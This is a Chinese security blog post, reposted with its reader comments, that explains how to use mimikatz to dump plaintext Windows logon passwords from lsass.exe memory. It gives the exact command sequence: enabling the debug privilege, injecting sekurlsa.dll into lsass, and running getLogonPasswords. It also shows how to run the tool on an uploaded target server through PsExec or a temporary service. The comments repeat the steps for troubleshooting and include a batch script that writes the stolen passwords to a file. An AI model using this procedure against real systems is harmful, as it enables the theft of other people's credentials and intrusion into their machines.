轻量级调试器神器 - mimikatz - 直接抓取 Windows 明文密码!

admin 2021年4月3日20:03:21评论63 views字数 6158阅读20分31秒阅读模式

昨天有朋友发了个法国佬写的神器叫 mimikatz 让我们看下

神器下载地址:

http://blog.gentilkiwi.com/mimikatz

还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章

http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass

自己尝试了下用 win2008 r2 x64 来测试

轻量级调试器神器 - mimikatz - 直接抓取 Windows 明文密码!

最后测试成功 wdigest 就是我的明文密码

 

我还测过密码复杂度在14位以上

包含数字 大小写字母 特殊字符的密码

一样能抓出明文密码来

以前用 wce.exelslsass.exe 通常是只能从内存里顶多抓出active账号的 lm hash ntlm hash

但用了这个神器抓出明文密码后

由此我们可以反推断 在 lsass.exe 里并不是只存有 lm hash ntlm hash 而已

应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的)

这样这个加密算法是可逆的 能被解密出明文

所以进程注入 lsass.exe 时 所调用的 sekurlsa.dll 应该包含了对应的解密算法

逆向功底比较好的童鞋可以尝试去逆向分析一下

 

然后这个神器的功能肯定不仅仅如此 在我看来它更像一个轻量级调试器

可以提升进程权限 注入进程 读取进程内存等等

下面展示一个 读取扫雷游戏的内存的例子

我们还可以通过pause命令来挂起该进程 这个时候游戏的时间就静止了

 

总之这个神器相当华丽 还有更多能力有待各黑阔们挖掘 =..=~


站长评论:

抓取 lsass.exe 中的用户明文密码:

//提升权限
privilege::debug

//注入dll
inject::process lsass.exe sekurlsa.dll

//抓取密码
@getLogonPasswords

经测试,通杀:

Windows XP (部分可以)
Windows Server 2003
Windows Server 2008
Windows Vista
Windows 7
Windows 7 SP1

貌似只有 Windows 2000 无法使用,最低支持 Windows XP。

不过,2000/xp 可以用以前的 FindPassword ,Windows 2003 - Windows 7 微软的这个处理机制没有变。

域也可以,理论上是没问题的,登录过都在 lsass.exe 里面。

原理就是登陆的时候输入的密码,经过 lsass.exe 里的 wdigest 和 tspkg 两个模块调用后,它们对之进行加密处理,而没有进行擦除,而且该加密通过特征可以定位,并且按照微软的算法可逆。

只要登陆过,就可以抓出来,它进行枚举的,这一切都是微软的错。

简单地说,在 Windows 中,当用户登录时,lsass.exe 使用一个可逆的算法,加密过的明文密码,并且把密文保存在内存中,没有清理,然后可以抓出来,还原。

也就是说,开机以后,只要是登陆过的用户,在没重启前(因为重启内存就清零了,这里不包括使用其他方法清理内存),都可以抓出来,注销也是无用的,因为内存中的密码并没有清除,所以还是可以抓出来的。

我想微软可能会出个补丁,清理这块……

这玩意儿功能还有很多,自己看看参数,例如:ts,是调用 mimikatz.sys 隐藏登陆的终端。

这应该算是密码泄露,很严重的漏洞,估计微软会出补丁。

2012-2-27 3:10:48 补充:

看雪已经有详细的原理分析帖子了,并且还在更新,地址:http://bbs.pediy.com/showthread.php?t=146884


在远程终端(3389、mstsc.exe、虚拟桌面中抓取密码的方法:

通常你在远程终端中运行该程序会提示:存储空间不足,无法处理此命令

这是因为在终端模式下,不能插入远线程,跨会话不能注入,你需要使用如下方法执行该程序:

首先提取几个文件,只抓取密码的话,只需要这几个文件:

mimikatz_trunktoolsPsExec.exe
mimikatz_trunkWin32mimikatz.exe
mimikatz_trunkWin32sekurlsa.dll

打包后上传至目标服务器,然后解压释放,注意路径中绝对不能有中文(可以有空格)!否则加载DLL的时候会报错:找不到文件。

然后使用以下任何一种方法即可抓取密码:

//最简单实用的方法,使用 PsExec.exe 启动。
//在系统帐户中运行 cmd.exe,或者直接运行 mimikatz.exe
psexec -s cmd.exe
//启动 mimikatz.exe
C:mimikatz_trunkWin32mimikatz.exe
//提升权限
privilege::debug
//注入dll,要用绝对路径!并且路径中绝对不能有中文(可以有空格)!
inject::process lsass.exe "C:mimikatz_trunkWin32sekurlsa.dll"
//抓取密码
@getLogonPasswords
//退出,不要用 ctrl + c,会导致 mimikatz.exe CPU 占用达到 100%,死循环。
exit

//*********************************************************

//使用 At 启动
at ***

//*********************************************************

//创建服务方法
sc create getpassword binpath= "cmd.exe /c c:xxxmimikatz.exe  password.txt"
sc start getpassword
sc delete getpassword

//*********************************************************

//telnet 远程命令管道
telnet ****

部分内容转自:http://hi.baidu.com/hackercasper/blog/item/b080dbd05eb6a5cc562c8461.html

留言评论(旧系统):

【匿名者】 @ 2012-02-24 13:11:01

最后的远程终端测试有效,非常强大!!
同时求一个findpassword软件。谢谢!

本站回复:

昨天睡觉,现在刚起来,这个软件我这里没存,网上应该有很多下载的,你找找看。

YHHK @ 2012-07-07 23:08:45

注入线程错误。0x00000005 拒绝访问怎么办

本站回复:

啥???????????

【匿名者】 @ 2012-11-03 05:00:20

请教一下为什么会读写000005内存错误。

本站回复:

请给出具体错误代码……

【匿名者】 @ 2012-11-03 05:13:24

对不起,刚才没把详细情况写出来,请站长把上面那条留言删了。
mimikatz # privilege::debug 这是第一条
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # inject::process lsass.exe sekurlsa.dll 这是第二条
PROCESSENTRY32(lsass.exe).th32ProcessID = 1284
Erreur : Impossible d'injecter ! ; (0x00000005) 拒绝访问。
mimikatz #
这是什么原因造成的。系统是winxp3的(简洁版的)

本站回复:

这个错误是因为没有权限注入进程、或者注入失败造成的(会受杀毒软件干扰),具体原因不明。之前曾进行过测试,也是只有部分 Windows XP 可用。
使用这个方法试试:
//最简单实用的方法,使用 PsExec.exe 启动。
//在系统帐户中运行 cmd.exe,或者直接运行 mimikatz.exe
psexec -s cmd.exe
//启动 mimikatz.exe
C:mimikatz_trunkWin32mimikatz.exe
//提升权限
privilege::debug
//注入dll,要用绝对路径!并且路径中绝对不能有中文(可以有空格)!
inject::process lsass.exe "C:mimikatz_trunkWin32sekurlsa.dll"
//抓取密码
@getLogonPasswords

【匿名者】 @ 2012-11-03 05:14:37

对不起,刚才没把事情说明白了。系统是winxp3的简洁版。运行后出现下面情况。
mimikatz # privilege::debug 这是第一条
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # inject::process lsass.exe sekurlsa.dll 这是第二条
PROCESSENTRY32(lsass.exe).th32ProcessID = 1284
Erreur : Impossible d'injecter ! ; (0x00000005) 拒绝访问。
mimikatz #

本站回复:

重复留言,请参考底下留言回复…… ╮(╯_╰)╭

【匿名者】 @ 2012-11-03 05:16:44

汗,对不起,实在不是有意这样,不知道为什么,提示我验证码错误了,却把留言发出去了。麻烦站长删除了.

本站回复:

没关系,请参考底下留言回复…… ╮(╯_╰)╭

佚名 @ 2012-11-14 19:32:28

我系统是windows7,运行mimikatz # inject::process lsass.exe c:UsersAdministratorsekurlsa.dll
出现PROCESSENTRY32(lsass.exe).th32ProcessID = 596
Erreur : Impossible d'injecter ! ; (0x00000005) 拒绝访问。
这是怎么回事啊?
我QQ是475856697.望解答。

本站回复:

这个错误是因为没有权限注入进程、或者注入失败造成的(会受杀毒软件干扰),具体原因不明。
使用这个方法试试:
//最简单实用的方法,使用 PsExec.exe 启动。
//在系统帐户中运行 cmd.exe,或者直接运行 mimikatz.exe
psexec -s cmd.exe
//启动 mimikatz.exe
C:mimikatz_trunkWin32mimikatz.exe
//提升权限
privilege::debug
//注入dll,要用绝对路径!并且路径中绝对不能有中文(可以有空格)!
inject::process lsass.exe "C:mimikatz_trunkWin32sekurlsa.dll"
//抓取密码
@getLogonPasswords

快速杀伤 @ 2012-11-14 19:37:10

我系统是windows7,运行mimikatz # inject::process lsass.exe c:UsersAdministratorsekurlsa.dll
出现PROCESSENTRY32(lsass.exe).th32ProcessID = 596
Erreur : Impossible d'injecter ! ; (0x00000005) 拒绝访问。
这是怎么回事啊?
我QQ是475856697.望解答。

本站回复:

重复留言,请参考底下留言回复…… ╮(╯_╰)╭

佚名 @ 2012-11-14 19:45:07

不好意思,刚才多点了,但是还是不行啊……用了你说的方法出现
mimikatz # inject::process lsass.exe C:UsersAdministratorsekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 596
Erreur : Impossible d'injecter ! ; (0x00000005) 鎷掔粷璁块棶銆?

本站回复:

没有权限注入进程,注入失败,具体原因不明。

求帮助 @ 2014-02-09 20:19:51

楼主我想问一下怎么用这个神器破win7的自家密码啊。我的全是错误代码
比如(0x00000005)拒绝访问(这是1.0的)
2.0的是:error kuhl_m_privilege_simple然后是c0000061
这个软件对win7无力吗?我用的代码都是privilege::debug和sekurlsa::logonpasswords还有sekurlsa::wdigest
都有错误啊

本站回复:

这个不是破密码的,而是读取已登录用户内存缓存中的密码。你那个报错具体不清楚……

YYY @ 2014-09-17 02:03:38

核总,这个要怎么才能直接用一个命令就得到密码
cmd.exe /c c:xxxmimikatz.exe password.txt

command.txt里面放入那三句命令?

我试了一下不行,求方法

本站回复:

现在有很多类似的工具了,不需要那么复杂的操作了,你百度一下就有。

001 @ 2014-11-23 21:00:35

您好!我的系统是windows,我输入privilege::debug的时候出现
error kuhl_m_privilege_simple ; RtlAdjustPrivilege c0000061
请问这是什么意思?我是用管理员身份登录的。

本站回复:

需要以管理员权限运行:右键 --> 以管理员权限运行

佚名 @ 2015-03-21 21:02:13

2.0的版本怎么找 用这个方法不行

本站回复:

看官方具体说明吧。

wyp175 @ 2015-03-22 21:00:37

首先=_= 我是那个反向代理的人,现在暂时还没效果.然后我研究过这个mimikatz , 他是DOS界面 所以可以用bat启动,具体操作如下:
1.新建txt文本,改名start.bat
2.编辑bat,文本如下:
@Echo Off
title
color 3B
mode con: cols=37 lines=13
cd %~dp0
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" >>password.txt
pause
exit
分割线------------------------------------------------------------
3.保存后丢进和mimikatz.exe同一个文件夹内,然后启动start.bat,打开同目录下的passwords.txt 密码就在里面
4.若是不行可以试试下面命令:
@Echo Off
title
color 3B
mode con: cols=37 lines=13
cd %~dp0
mimikatz.exe "privilege::debug" "inject::process lsass.exe mimilib.dll" "sekurlsa::logonpasswords">>password.txt
pause
exit
这些都是我无聊写的,只是给懂得人一个思路
两个命令我记得是对mimikatz版本不同而设置的,好的 就这么多。

本站回复:

嗯,不错!

文章来源于lcx.cc:轻量级调试器神器 - mimikatz - 直接抓取 Windows 明文密码!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日20:03:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   轻量级调试器神器 - mimikatz - 直接抓取 Windows 明文密码!https://cn-sec.com/archives/325124.html

发表评论

匿名网友 填写信息